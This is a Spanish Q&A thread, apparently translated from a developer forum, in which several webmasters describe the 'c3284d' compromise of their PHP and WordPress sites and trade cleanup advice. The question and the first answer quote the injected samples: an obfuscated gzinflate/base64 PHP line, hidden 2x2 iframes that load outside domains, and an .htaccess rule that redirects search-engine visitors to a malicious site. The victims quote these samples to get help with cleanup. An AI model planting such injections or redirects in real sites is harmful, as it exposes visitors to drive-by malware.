Ataque de iframe en el sitio web: inserta el código en la fuente

Question

En los últimos días, mi sitio web ha sido repetidamente el blanco de un ataque de iframe. El código se agrega principalmente a páginas PHP y Javascript. El código PHP es entonces la base codificada 64, véase el ejemplo (he cambiado ligeramente el código de neutralizarlo):

#c3284d# 
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8 VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L"))); 
#/c3284d# 

Este decodificada se ve algo como esto:

<script type="text/javascript"> 
    document.write(
     '<iframe src="http://opticmoxie.com/xxxxxxx.php"  
     name="Twitter" scrolling="auto" frameborder="no" 
     align="center" height="2" width="2"></iframe>' 
    ); 

la Una cosa en común es que todo el código tiene el comentario "# c3284d #", por lo que no es difícil rastrear el código malicioso. Pero lleva mucho tiempo ...

Estamos en un servidor compartido en Gradwell (Reino Unido) y no nos han sido especialmente útiles. Entonces, la pregunta es: ¿qué puedo hacer para evitar que este problema se repita? Conozco los ataques de inyección de MySQL y uso mysql_real_escape_string de PHP para protegerme de tales ataques.

El sitio es PHP y unidad MySQL. Usamos MySQLFTP y tenemos una cuenta shell para acceso SSH. Usamos Wordpress (última actualización con los complementos desactivados).

Answer 1

También tengo el mismo problema. En mi caso el código adjunto es

<!--c3284d--><script type="text/javascript"> 
document.write('<iframe src="http://poseyhumane.org/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); 
</script><!--/c3284d--> 

Además, hay un archivo .htaccess de la siguiente manera:

> #c3284d# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} 
> ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) 
> RewriteRule ^(.*)$ http://onestopchinasource.com/catalog/stats.php 
> [R=301,L] </IfModule> 
> #/c3284d# 

encontré dos artículos sobre este tema: http://www.webmasterworld.com/html/4472821.htm y http://stopmalvertising.com/malware-reports/the-c3284d-malware-network-stats.php.html

Esperanza ayuda

Answer 2

Tuve el mismo problema. Los registros de acceso del servidor FTP mostraban que las modificaciones se hacían con una contraseña de FTP pirateada.

Answer 3

Tengo el mismo problema y variantes de diferentes archivos pirateados en muchos dominios diferentes. La única cosa común que noto es Wordpress. Tenemos wordpress en muchos de estos servidores y creo que ese es el culpable común. Actualicé todas mis cuentas de wordpress, cambié todos los pwords para todas las cuentas de dominio. no estoy seguro de si el problema está totalmente resuelto aún.

Answer 4

Tuve el mismo problema pero en un sitio de Wordpress.

Supongo que el sitio fue infectado a través de los widgets, porque uso un plugin que permite que se ejecute el código PHP.

Mi mejor solución era:

• eliminar el widget sospechoso;
• ver la hora y la fecha de un archivo infectado (mi caso: header.php);
• borrar todos los archivos infectados (en mi caso tengo una copia de seguridad del sitio);
• búsqueda en el archivo de registro de direcciones IP sospechosas en ese momento (búsqueda de direcciones IP en las listas negras);
• instala un complemento para prohibir direcciones IP sospechosas.

A partir de ese momento, el problema desapareció. Espero que esto ayude.

Answer 5

Tenía el mismo problema en todos los sitios de Wordpress que administré. No encontré la fuente de infección, apuesto a que es un gusano en mi computadora o que es un plugin que instalé en todos los sitios.

Encontré todos los archivos que se modificaron en WP-Better registros de complemento de seguridad y eliminé el código adicional infectado y después hice chmod 444 en todos los archivos que fueron fuente de infección.

Ahora soy libre desde 1 mes de iframes/htacess malvados y otras cosas.

Answer 6

Tuve el mismo problema y descubrí que el método que usaban para ingresar era una contraseña de ftp pirateada.

Aunque esto se ejecuta en un servidor cPanel con la protección de fuerza bruta CPHulk habilitada, descubrí que los hackers intentaron forzar su camino a través de miles de diferentes hosts comprometidos.

Afortunadamente tenía un registro de todos los archivos que se cargaron, así que escribí un script para restaurar estos archivos a partir de copias de seguridad.

Luego aumenté los niveles de protección de fuerza bruta de cPanel reduciendo el número de intentos fallidos requeridos antes de que la cuenta se bloquee.

Answer 7

le recomiendo que eche un vistazo a esto:
http://websiteprotection.blogspot.pt/2009/10/measures-to-prevent-and-detect-iframe.html
También tiene una secuencia de comandos para limpiarlo.

Answer 8

chicos malos tienen acceso a su código, por lo que debe cerrar su acceso, mientras tanto puede usar un script simple que verifique y elimine todas las líneas donde detecta gzinflate (base64_decode, pero incluso el mejor código (checksum checker) con archivos de copia de seguridad) será inútil si todavía tienen acceso